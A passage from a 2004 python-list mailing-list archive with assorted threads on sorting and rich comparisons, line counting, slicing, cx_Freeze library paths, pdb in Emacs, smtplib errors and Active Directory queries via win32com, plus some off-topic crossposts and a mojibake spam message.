= os.open(filename, os.O_WRONLY|os.O_CREAT) os.dup2(fd, 1) os.dup2(fd, 2) os.close(fd) os.execve(... Donn Cave, donn at u.washington.edu From aleaxit at yahoo.com Thu Sep 23 08:28:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 14:28:03 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <A128D751272CD411BC9200508BC2194D053C79A1@escpl.tcp.com.ar> <mailman.3670.1095791749.5135.python-list@python.org> Message-ID: <1gkkjyf.segekh1grr5weN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > > You could also do that passing a function to sort(). > > I know it, and that's exactly my question -- if this is going to be > the way to do it in Python 3000. Today (2.4) there are FOUR ways to > make it work: passing a compare function as an argument to sort(), > passing a key funciton as an argument to sort(), implementing a > __cmp__ function, or implementing the rich comparison methods. If the What you can do with key= and with cmp= are not exactly the same things. key= normally allows WAY faster sorts, when applicable, thanks to decorate-sort-undecorate... but that only really holds when the key is a simple structure of elementary types using builtin comparisons. Besides, speed isn't all: sometimes extracting a key is conceptually simpler, sometimes it's simpler to express the desired comparison in operational terms. Speed isn't everything: simplicity matters, too. A simplification that I think can be made is to have sorting hinge strictly on __lt__, the < operator. That will, however, no doubt still leave indirect avenues open. For example, it would be somewhat surprising if object didn't have a default __lt__ delegating to __cmp__, so it would still be possible, in your own types, to define either __lt__, or __cmp__. Much like the distinctions between __add__, __iadd__, __radd__, I suspect these conveniences WILL remain. > main goal of Py3K is to have only one obvious way to do it, what one _Preferably_ only one, just like it's always been the case in Python. But practicality beats purity. You will still be allowed, I predict, to sum two numbers by a+b, b+a, sum([a,b]), operator.add(a,b), and other ways yet; trying to forbid some of these would be impractical. > is it going to be? I think that the best way should be the simplest > one: make sort() work whatever is passed to it in a reasonably way, Errors should not pass silently, unless explicitly silenced. MOST of the time, a poor hapless user trying to compare 23 with "42", just like one trying to sum these objects, is making a mistake. Handing such likely errors as if they weren't errors is NOT doing the poor hapless user good service. Thus, I find it quite reasonable that the _default_ behavior of sort be that desired well over 90% of the time, for comparisons happening within sort just as well as for others: raise an exception if I'm trying to compare strings with numbers (and the like). For that less-than-10% of the time where I really _want_ to compare _anything_, passing some kind of explicit indicator such as a keyword parameter is just fine. And I think the right way to do it is to have an "universal_lt" off in a module somewhere and pass THAT when required. It's hard to gauge exactly how frequently I need universal comparisons (rather than type-specific ones), but I'd guess _maybe_ 5%, if that. Sacrificing error detection in 95% of the cases for the sake of removing the need to be explicit about the other 5% of the cases would be a very grave design error, in my opinion. Making that "other 5%" any more problematic for the user than passing a simple keyword parameter or the like would also be a mistake, but perhaps one of lesser importance than what I think you're proposing -- universal comparisons _by default_. > and decide to have one preferred way to extend its behavior. A key= returning a simple structure (tuple or list), made up of elementary items to compare 'naturally' by built-in means, is the preferred way _when applicable_, for speed and simplicity, but it's not always so applicable; therefore, sometimes other ways to tweak (not necessarily 'extend'!) sorting will be better. Asking for "one preferred way" to apply ALL of the times is like asking for "one preferred arithmetic operator" -- can't you see it WILL depend on what it IS that you're trying to do?! If I had to nominate one operator as "preferred" it would be addition -- most frequently, it serves your typical purposes best -- but it's not all THAT infrequent to meet a problem that's best solved by dividing instead, is it? > > Define "reasonable result" with different datatypes. > > Now that's a harder question :-) Any ordering for multiple types is > going to be arbitrary -- but it still may be considered reasonable if > it reflects our common sense when it comes to ordering. In some cases, That's probably too difficult, since there is no guarantee that our common sense (were it to be determined) would be mathematically consistent. I can see how "by common sense" one might want a list made of characters to compare consistently with other sequences made of characters, such as tuples, strings, arrays, for example -- but it can't be mathematically consistent with other "common sense" ideas about comparing other groups of sequences. "Common sense" would tell most people that 23<'42'<99, but that is another example of where consistency probably can't be reached. Etc, etc. Alex From listserver at tdw.net Thu Sep 9 07:28:10 2004 From: listserver at tdw.net (Tim Williams) Date: Thu, 9 Sep 2004 12:28:10 +0100 Subject: text matching help References: <chkoc4$l08$1@newsg2.svr.pol.co.uk><chm2qu$bpl$1@sea.gmane.org> <200409090130.00953.heikowu@ceosg.de> Message-ID: <001e01c49660$1cca18d0$ccbefea9@twilliams> [newbie still] I have a dictionary with around 500 keys, 50 to 100 of those keys will be in the format *text or text* (eg "*williams" or "tim*" ) for use as wildcards. I need to be able to match some input text to these wildcards (eg timothy will match tim*), * on its own is invalid, there must be text before or after the *. I've never used Regular Expressions, and so can't judge whether they are suitable (ie the best way) for searching MyDict.keys() to match the input text and get the key's value, or whether iterating the keys and using startwith() or endswith() would be better. Or (probably) there is a different and much better way of doing it. Any advice would be gratefully received. TIA Tim From clifford.wells at comcast.net Sun Sep 12 20:01:47 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 12 Sep 2004 17:01:47 -0700 Subject: Looking for comments on BlackAdder In-Reply-To: <g89fg09hsauqgr5er4jnv2irf6r3ed9ten@4ax.com> References: <g89fg09hsauqgr5er4jnv2irf6r3ed9ten@4ax.com> Message-ID: <1095033708.26967.22.camel@devilbox.devilnet.internal> On Wed, 2004-07-28 at 13:20 +0000, dusty wrote: > Hi, > I recently switched from windoze to Linux (SuSE 9.1) and want to write > some applications (mostly for personal use). I have several years > experience writing with Borland Delphi and now I am looking at Python. > BlackAdder incorporates Python and QT into a application similar to > Delphi for writing GUI applications. (I looked at Kylix and didn't > like it) > > I wonder if BlackAdder is worth the price or would I be just as well > off using Idle and QT Designer? > > I would appreciate any comments on BlackAdder. I'm unfamiliar with BlackAdder, but you might take a look at Boa Constructor. I believe that its interface is modeled after Delphi. http://boa-constructor.sourceforge.net/ Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From zshutters at comcast.net Fri Sep 10 14:02:09 2004 From: zshutters at comcast.net (Zach Shutters) Date: Fri, 10 Sep 2004 11:02:09 -0700 Subject: dictionaries Message-ID: <bcednT5L4IMqid_cRVn-oA@comcast.com> ok, i am trying to learn how to use dictionaries and i am having trouble with this code: def function1(): print "function1" def function2(): print "function2" dict = {"1":function1,"2":function2} x = input ("1 or 2?") dict[x]() From narshe at gmail.com Thu Sep 30 15:15:00 2004 From: narshe at gmail.com (Josh Close) Date: Thu, 30 Sep 2004 14:15:00 -0500 Subject: python connection to mssql from windows box In-Reply-To: <du7sm8zod04.fsf@lehtori.cc.tut.fi> References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu> <mailman.4134.1096552901.5135.python-list@python.org> <du7sm8zod04.fsf@lehtori.cc.tut.fi> Message-ID: <4a0cafe2040930121521de3848@mail.gmail.com> On 30 Sep 2004 20:58:03 +0300, Ville Vainio <ville at spammers.com> wrote: > Josh> Google? What's that? > > *rubs eyes in disbelief* > > http://www.google.com > > -- > Ville Vainio http://tinyurl.com/2prnb That was a joke. If you didn't notice I'm using a google email account, so I obviously know what it is :P -Josh From jsmilan at tiny.net Sun Sep 26 21:12:42 2004 From: jsmilan at tiny.net (jsmilan at tiny.net) Date: 27 Sep 2004 01:12:42 GMT Subject: Zope, M2Crypto, and Gentoo References: <4156ddd5$0$78146$a1866201@newsreader.visi.com> <mailman.3939.1096218635.5135.python-list@python.org> Message-ID: <4157690a$0$80690$a1866201@newsreader.visi.com> I answered John by email before I saw his response here. (Thanks, John!) Basically, I'm not opposed to taking that approach as a last resort. However, doing so would mean giving up the automatic upate process for Gentoo. Does anyone else have any ideas? John Hunter <jdhunter at ace.bsd.uchicago.edu> wrote: [snip] -- Jim Smilanich jsmilan at visi.com =JpS=SgtRock "A man should be able to pilot a starship, plan an invasion, diaper a baby, ....specialization is for insects!" -- Lazarus Long From bokr at oz.net Wed Sep 22 13:59:30 2004 From: bokr at oz.net (Bengt Richter) Date: 22 Sep 2004 17:59:30 GMT Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Message-ID: <cisei2$ltn$0$216.39.172.122@theriver.com> On Mon, 20 Sep 2004 15:29:18 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Ling Lee <janimal at mail.trillegaarden.dk> wrote: > >> Oh I just did it. >> >> Just used the line: >> >> print "%d lines in your choosen file" % len(open("test.txt").readlines()) >> >> Thanks though :) > >You're welcome;-). However, this approach reads all of the file into >memory at once. If you must be able to deal with humungoug files, too >big to fit in memory at once, try something like: > >numlines = 0 >for line in open('text.txt'): numlines += 1 I don't have 2.4, but how would that compare with a generator expression like (untested) sum(1 for line in open('text.txt')) or, if you _are_ willing to read in the whole file, open('text.txt').read().count('\n') Regards, Bengt Richter From squirrel at WPI.EDU Wed Sep 1 22:17:20 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Wed, 1 Sep 2004 22:17:20 -0400 Subject: negative stride list slices In-Reply-To: <mailman.2738.1094075786.5135.python-list@python.org> References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de> <evqZc.6862$MR2.33137@news1.mts.net> <ch5e3r$o8c$1@sea.gmane.org> <mailman.2738.1094075786.5135.python-list@python.org> Message-ID: <Pine.LNX.4.44.0409012214110.29696-100000@ccc4.wpi.edu> On Wed, 1 Sep 2004, Shalabh Chaturvedi wrote: > Does anyone else find it intuitive to expect that S[b:a:-1] be exactly > reverse of S[a:b:1]? No. S[a:b:1] includes the start index (a), but excludes the stop index (b). Similarly, S[b:a:-1] includes the start index (b), but excludes the stop index (a). Only if the stop indices were included (or the start indices were excluded), thus making the indexing symmetrical, would I expect the results to be symmetric. From simoninusa2001 at yahoo.co.uk Sun Sep 19 01:24:22 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 18 Sep 2004 22:24:22 -0700 Subject: $LD_LIBRARY_PATH, cx_Freeze and wxPython Message-ID: <1095571462.551292.150660@k26g2000oda.googlegroups.com> I'm using cx_Freeze (3b3?) to freeze a wxPython application for use across various Linux versions. If I build on one Linux distro, the binary is often incompatible with another distro, giving the error: Traceback (most recent call last): File "/home/simon/python/cx_Freeze/initscripts/Console.py", line 23, in ? File "source/pyjournal.py", line 23, in ? File "/usr/lib/python2.3/site-packages/wx/__init__.py", line 42, in ? File "/usr/lib/python2.3/site-packages/wx/_core.py", line 4, in ? File "ExtensionLoader.py", line 11, in ? ImportError: libwx_gtkd_html-2.5.so.2: cannot open shared object file: No such file or directory I can't even get compatibility between RHEL 3ES, Fedora Core 1 and RedHat 9, which are all practically the same distro! Same goes for SUSE 9.1 Pro and SLES 9. The only way I can fix this is to set LD_LIBRARY_PATH to the program directory i.e., force .so files in the current directory to be used (instead of looking in /usr/lib and failing) or, if wxPython is installed, set the LD_LIBRARY_PATH to point to that. My question is why aren't the CWD files used - surely that's the whole point of freezing - to bundle all shared object files so you don't have to have them installed in /usr/lib/wxPython?! I tried using chrpath as mentionned here.... http://wiki.wxpython.org/index.cgi/CreatingStandaloneExecutables ....But that just stopped the machine trying to run the program from looking in /usr/lib/wxPython (so it wouldn't even work if the machine had wxPython installed!) I guess I could write a shell script to find the program directory, set it as the LD_LIBRARY_PATH and then run the program, but that seems horribly hacky. You can have a go at the binaries yourself if you like (and get the source) at: http://www.the-jedi.co.uk/comps/downloads/pyjournal/ From dkuhlman at rexx.com Sun Sep 26 20:15:03 2004 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Sun, 26 Sep 2004 17:15:03 -0700 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> <87zn3e8ojz.fsf@pobox.com> Message-ID: <2rp4bdF1cogv4U1@uni-berlin.de> John J. Lee wrote: > Dave Kuhlman <dkuhlman at rexx.com> writes: > [...] >> In case you are curious, this is content posted to my Zope server >> when I include an element '<input type="file" .../>' in my form. > [...] > > *Surely* Zope has a standard way of doing this. Try a Zope list? > That's a good suggestion. Thanks. Zope people are Python people, so they would give me the kind of help I'd need. I'll ask on the Zope users list. However, there is nothing Zope-specific about this. The content was produced by my Web browser (actually two Web browsers that I test with: Opera and Firefox). Dave -- Dave Kuhlman http://www.rexx.com/~dkuhlman From pink at odahoda.de Sun Sep 5 10:51:37 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Sun, 05 Sep 2004 16:51:37 +0200 Subject: Tuple question In-Reply-To: <roy-D04C66.10354305092004@reader1.panix.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> <donn-8ED685.11274102092004@gnus01.u.washington.edu> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <roy-FE1D07.08200705092004@reader1.panix.com> <chf1e4$u84$03$1@news.t-online.com> <roy-D04C66.10354305092004@reader1.panix.com> Message-ID: <chf99k$nad$05$1@news.t-online.com> Roy Smith wrote: > I asked: > >>How is a class instance's mutability any less of disqualifier for >>key-ness than a list's mutability? > > > Benjamin Niemann <pink at odahoda.de> wrote: > > >>a = [1, 2, 3] >>b = [1, 2, 3] >>if a == b: >> print "List equality is based on content" > > > Tuple (and string) equality is based on content too. So what? tuples and strings are immutable. > I can > give my data class an __eq__ method, and then my class instance equality > would also based on content. > > So, to restate my original question, why should my mutable, > content-based-eqality class instance be a valid dictionary key, when a > list is not? Which part of a list's behavior makes it inherently > unusable as a key? I'm not asking about design philosophy, I'm asking > about observable behavior. The example I provides should have shown this: when you modify the objects which is used as a dictionary key, the dictionary is also modified. This is an usually undesired side effect. Python won't prevent you from doing such things with your own class that implements __eq__. But it does not do such things for its built-in classes. From sex at rambler.ru Wed Sep 22 21:04:45 2004 From: sex at rambler.ru (sex at rambler.ru) Date: Wed, 22 Sep 2004 21:04:45 -0400 Subject: =?iso-8859-1?q?C=EBy=E6=E1a_=E4oc=F2a=E2k=E8__!_N3?= Message-ID: <001201c479c5$0ddfd69c$01502736@phtk> Bce ??? mo?????o? c???? ? ?e ?o??ko C ?oc?a?ko? ! Ha pa?o?y ! ??? ?omo? ! 3aka?? ? ?anpoc no??o?o ka?a?o?a T.(8067)-7-55-5-55-7 dostavka at UkrTop.com ICQ: 249729148 290462045 ____________________________________ The Bat! (v1.52f) Business Your mail is python-list at python.org Phoebe Bray w get ready From http Fri Sep 24 21:53:48 2004 From: http (Paul Rubin) Date: 24 Sep 2004 18:53:48 -0700 Subject: Why not FP for Money? References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar> <mailman.3872.1096056806.5135.python-list@python.org> <cj2ehb$h95$0$216.39.172.122@theriver.com> <mailman.3884.1096073978.5135.python-list@python.org> Message-ID: <7xisa3gllf.fsf@ruckus.brouhaha.com> Carlos Ribeiro <carribeiro at gmail.com> writes: > That's it -- there's a context object. And that's what should be used > for fixed point too. I also liked your 10d3 example -- it's a nice > extension to the basic syntax. Heh, I thought that notation was reserved for Python 2.5's function for rolling ten 3-sided dice ;-) From lynn at garlic.com Thu Sep 2 12:19:23 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 10:19:23 -0600 Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <ullfserte.fsf@mail.comcast.net> <41372f4a$0$19727$61fed72c@news.rcn.com> Message-ID: <uzn48ve2c.fsf@mail.comcast.net> jmfbahciv at aol.com writes: > And everybody seems to think that those people never talked to each > other. Even boasting about whose is bigger, faster, and longer > would transmit new ideas among the bit setters. some number were co-workers on ctss before some went to 5th floor and multics and others went to science center on the 4th floor. north side of 545 tech sq 1st floor had lunch room on the east side and lounge on west side; besides running into people in the elevator ... there were coffee breaks and lunch in the lunch room and after work in the lounge. melinda, on her site has historical write up with some early ctss, multics, cp/cms lore: http://pucc.princeton.edu/~melinda/ an earlier version was posted in eight parts to vmshare computer conferencing ... vmshare archive: http://vm.marist.edu/~vmshare/browse?fn=VMHIST01&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST02&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST03&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST04&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST05&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST06&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From RobMEmmons at cs.com Sat Sep 4 22:46:51 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Sat, 04 Sep 2004 21:46:51 -0500 Subject: Is it possible?: cat text.txt | python_script_which_also_gets_user_input.py In-Reply-To: <413a06fc@news.kullen.rwth-aachen.de> References: <413a06fc@news.kullen.rwth-aachen.de> Message-ID: <413A7E1B.4030607@cs.com> > I run in a problem with a script, that shall work similar like the c-program > "most". It should be able to get some text on execution via a pipe but also > is interactive by the user via the curses module (for scrolling and stuff). > The problem is: if you call the script like that, you connect stdin to > text.txt and any later keyboard input is ignored, since curses also reads > from stdin. > I have the rather blurry impression that this could be possible with > threading or forking inside the script, but I nether did things like that > before and am hopeful to get some cool advice from you experienced I'm not sure, I've not tried this. The suggestion I'd have is redirect the the input that curses reads to /dev/tty if you can figure out how to do that. Python does have some redirection capability built in the the sys module, i.e. it's possible to separate sys.stdin and sys.__stdin__ and handle them sepratelty. Just for tty direct IO, that would be easy. I just don't know about curses, because it probably is outside of python. Rob From frithiof.jensen at die_spammer_die.ericsson.com Wed Sep 15 08:25:57 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Wed, 15 Sep 2004 14:25:57 +0200 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com><HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com> <mailman.3307.1095171351.5135.python-list@python.org> Message-ID: <ci9c6r$nju$1@newstree.wise.edt.ericsson.se> "Carlos Ribeiro" <carribeiro at gmail.com> wrote in message news:mailman.3307.1095171351.5135.python-list at python.org... > > Now that I'm ranting, I have some ideas to solve this problem. My > dream is to have a different approach for the window manager -- one > that not only saves sessions, but is able to manage sessions in a more > effective way. There you go again ;-) The newer graphics cards such as the plain vanilla NVIDIA GF 2 MX, comes with such a functionality: N-View. But Again, this is likely to demand a New PC. From steffen.ries at sympatico.ca Fri Sep 24 07:48:48 2004 From: steffen.ries at sympatico.ca (Steffen Ries) Date: Fri, 24 Sep 2004 11:48:48 GMT Subject: Emacs + python References: <mailman.3520.1095631846.5135.python-list@python.org> <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net> <87hdprv3qd.fsf_-_@ion.xlipstream.com> <ciusmv$2a3$1@rzcomm2.rz.tu-bs.de> Message-ID: <AQT4d.27891$pA.1872757@news20.bellglobal.com> Marcio Rosa da Silva <mrsilva at fastmail.fm> writes: > Chris Green wrote: > > The trick that I like most about emacs+python right now is inserting > > import pdb; pdb.set_trace() and then running the python script from a > > *shell* buffer. It just happens to load the exact same code that would > > occur from running pdb.py directly so code lines can be synced up. > > I am trying for a long time a way to run pdb from emacs and have the > code synchronized. > > I searched google for emacs+python+debug or emacs+pdb but the > instructions would say: "M-x pdb" but then emacs asked the command > line to run the debug and I tried "pdb" "pydb" "pydb filename" but > nothing worked. > > When I tryed "M-x pdb" then "pydb" I need to use "file <filename>" > (and the completion doesn't work here for the filename), then the > debugger worked, but no sync with the source code :-( > > From the help of GUD, I tried "M-x pdb <RET> FILE <RET>" also without > success. You can either start pdb as "python <path-to-python-libs/pdb.py" or to make your life easier install an executable that does that. I'm using the following script in /usr/local/bin/pdb for this purpose: --8<-- #! /bin/sh lib=`python -c "import sys; print '%s/lib/python%s' % (sys.prefix, sys.version[:3])"` python -u $lib/pdb.py "$@" --8<-- with this script you start pdb as "M-x pdb <RET> pdb yourscript.py script arguments...<RET>" > Anyone can help me with this? I really don't know how to make it > work. I have seen in the python-emacs-mode that there are some code to > synchronize the code, but I could not make it work in this way (I > don't know enough elisp) :-( > > But anyway, thanks Chris for the tip. This one worked for me :-) It is > possible to set breakpoints using the source buffer instead of using > the line number? C-x <SPC> in the source buffer. hth, /steffen -- steffen.ries at sympatico.ca <> Gravity is a myth -- the Earth sucks! From martin at v.loewis.de Fri Sep 17 17:03:36 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 23:03:36 +0200 Subject: smtplib (111, 'Connection refused') In-Reply-To: <mailman.3471.1095454695.5135.python-list@python.org> References: <mailman.3467.1095448992.5135.python-list@python.org> <ZtqdnZb0ScD229bcRVn-iA@powergate.ca> <mailman.3471.1095454695.5135.python-list@python.org> Message-ID: <414b5124$0$18927$9b622d9e@news.freenet.de> Josh Close wrote: > import smtplib > > mail = smtplib.SMTP('localhost') > mail.send('me','user at domain.tld','message goes here') > mail.quit() > > but this fails at the smtplib.SMTP() line on one box, but not on another. OK, so you have an SMTP server on one box but not another. Either install an SMTP server on another box, or connect to "one box" on both boxes, instead of connecting to "localhost" on either. Regards, Martin From tim.golden at viacom-outdoor.co.uk Thu Sep 30 04:27:53 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 30 Sep 2004 09:27:53 +0100 Subject: Search Filter Syntax in Active Directory Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AD2@iron.ima.umn.edu> [Dirk Hagemann] | I want to get the properties of all the computer-accounts of an | ActiveDirectory structure (Microsoft). I know that could be done by | using "Search Filter Syntax" with LDAP-Dialect or SQL-Dialect. | I found a lot of information about these dialects, but no | example how to use this in an python-script. | Does anybody have a simple example for me, how to get some | information out of AD? I twitch nervously every time I have to pull something out of AD, but hopefully a couple of working examples might get you going. In general, anything you see elsewhere in VBS etc. can be done with a couple of GetObject-type calls in win32com.client. First example: find the display name of a user, given a user name. This one uses the LDAP:// moniker syntax. <code> import win32com.client username = "goldent" ldap_string = "LDAP://cn=%s,cn=users,dc=gb,dc=vo,dc=local" % username ldap_me = win32com.client.GetObject (ldap_string) print username, "=>", ldap_me.Get ("displayName") </code> Second example: find all the domains known by this workstation/server. This example uses the WinNT:// object, which I personally find a lot easier / more intuitive to use, so long as it meets your need (it doesn't do everything, and I'm not sure you can update through it). <code> import win32com.client for domain in win32com.client.GetObject ("WinNT:"): print domain.Name </code> Third example: list all the computers in a particular domain. Again WinNT:// syntax. <code> import win32com.client domain_name = "VOUK" domain = win32com.client.GetObject ("WinNT://" + domain_name) domain.Filter = ["Computer"] for computer in domain: print computer.Name </code> HTH TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From steven.bethard at gmail.com Tue Sep 7 02:32:35 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 7 Sep 2004 06:32:35 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> Message-ID: <loom.20040907T075903-226@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > MRO didn't change for classic classes, thus unmaintaned apps can't be > affected by that. I may be mistaken, but I thought MRO did change for new classes... I read in http://www.python.org/2.3/mro.html: "In his post, Samuele showed that the Python 2.2 method resolution order is not monotonic and he proposed to replace it with the C3 method resolution order. Guido agreed with his arguments and therefore now Python 2.3 uses C3." And the docs seemed to indicate that new-style classes were available in Python 2.2. Did the new-style classes and the C3 MRO actually both come in 2.2? Anyway, if you read the docs the way I did above, you could imagine that any new-style class that was written in Python 2.2 could potentially have been broken by the new MRO in Python 2.3. So the change in MRO would have been a change that could break old code. > > If you read my posts from the beginning, I was clearly never asking for the > > workaround -- I was asking for why the protocol was the way it was and why > > it hadn't been updated after __iter__ was introduced. Despite a few snide > > remarks ;) you did answer my question though, thanks! > > You're welcome, and I do think that the second part of the question was > pretty weird -- with all the trouble we go to, to keep backwards > compatibility with most old unmaintained apps, just imagining we'd go > around breaking them to no good purpose seems weird to me. Clearly we're talking past each other. When I asked the question, I didn't know what code would be broken. That's why I asked the question. (Go back and read some of the thread where I ask questions like "Would it break old code if the __getitem__ iterator checked for a __len__ method...?" if you don't believe me.) If no code would have been broken, I don't see why it would be unreasonable to use a more intuitive protocol. I understand the history here is probably old hat to you, but it's not to me, and that's why I was asking. Suggesting that I want to "go around breaking [apps] to no good purpose" is just being inflammatory. > I can't really see why these historical quibbles would be of much interest, > anyway. Well, it's an interesting design decision that resulted from an interesting set of facilities that were in the language at the time. Of course, if you were already using Python at the time these decisions were made, you already knew all about it. I'm a relative newcomer to Python though, and its history and evolution is still interesting to me. If there's a better forum to ask questions about Python's history, I'd be glad if you'd redirect me to it. Steve From iddw at hotmail.com Thu Sep 2 09:23:03 2004 From: iddw at hotmail.com (Dave Hansen) Date: Thu, 02 Sep 2004 13:23:03 GMT Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> Message-ID: <41371ea0.582576421@News.individual.net> On Thu, 02 Sep 2004 00:43:03 +0100 (BST), bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >On Wednesday, in article > <10jc7cu7e57koaa at corp.supernews.com> > wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" > wrote: > >> There's a story about why railroad tracks are spaced the way they are. > >Is this the one about two Roman horses' arses? If so, it also accounts >for the physical dimensions of the Space Shuttle's boosters. http://www.snopes.com/history/american/gauge.htm Regards, -=Dave -- Change is inevitable, progress is not. From pink at odahoda.de Fri Sep 17 14:38:42 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Fri, 17 Sep 2004 20:38:42 +0200 Subject: Conversion of String to Date Type In-Reply-To: <mailman.3462.1095445170.5135.python-list@python.org> References: <mailman.3462.1095445170.5135.python-list@python.org> Message-ID: <cifb0u$c5j$05$1@news.t-online.com> Keith Bolton wrote: > Hello All, > > I've joined the wxPython list, but this is my first post on the python > list and it's good to be here :^) Anyway... > > My question is relating to Date equality. I am checking if two string > representations of dates are less than or equal to eachother. The issue > that I am having is that the date strings, ex. > 09/15/04 is evaluated as > 09/14/04. However, when the last two digits > for the year are changed, like this 09/15/04 is considered > 09/15/05. > I thought this had something to do with evaluating two strings. Could > this be the case, if so does someone know of a way to convert those > strings into a Date type object? String comparision doesn't know anything about the special semantics of dates, and e.g. "09/15/04" is lexically before "10/15/03". Possible solutions: - use something like YYYYMMDD, YY/MM/DD... as string representation, these will be sorted correctly (which is a good habit anyway, e.g. if you have a bunch of files with a date in the filename) - try "ts = time.mktime(int(s[6:8])+2000, int(s[3:5]), int(s[0:2]))" to create timestamps and compare these. The datetime modules may have more useful functions (haven't used it yet, time was sufficient for me). - where do these strings come from? Perhaps there is an underlying timestamp or datetime object that you could use instead of "string representations". From jeremy+plusnews at jeremysanders.net Wed Sep 1 05:49:05 2004 From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders) Date: Wed, 01 Sep 2004 10:49:05 +0100 Subject: Script executes script? References: <c869ac1b.0409010014.4c581fc@posting.google.com> <ch43t4$r5q$1@news-reader4.wanadoo.fr> Message-ID: <pan.2004.09.01.09.49.05.690610@jeremysanders.net> On Wed, 01 Sep 2004 11:13:57 +0200, Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. wrote: > Try execfile( Alternatively, on Unix at least, import os os.system('other.py') Assuming other.py is an executable. This will give you a completely new interpreter. Jeremy From jmfbahciv at aol.com Fri Sep 10 08:22:39 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 10 Sep 04 12:22:39 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> Message-ID: <4141afae$0$6910$61fed72c@news.rcn.com> In article <flrphc.tlk1.ln at via.reistad.priv.no>, Morten Reistad <firstname at lastname.pr1v.n0> wrote: >In article <4140688e$0$6912$61fed72c at news.rcn.com>, <jmfbahciv at aol.com> wrote: >>In article <413F43AC.9D2088AF at yahoo.com>, >> CBFalconer <cbfalconer at yahoo.com> wrote: >>>jmfbahciv at aol.com wrote: >>>> Alan Balmer <albalmer at att.net> wrote: >>>>> CBFalconer 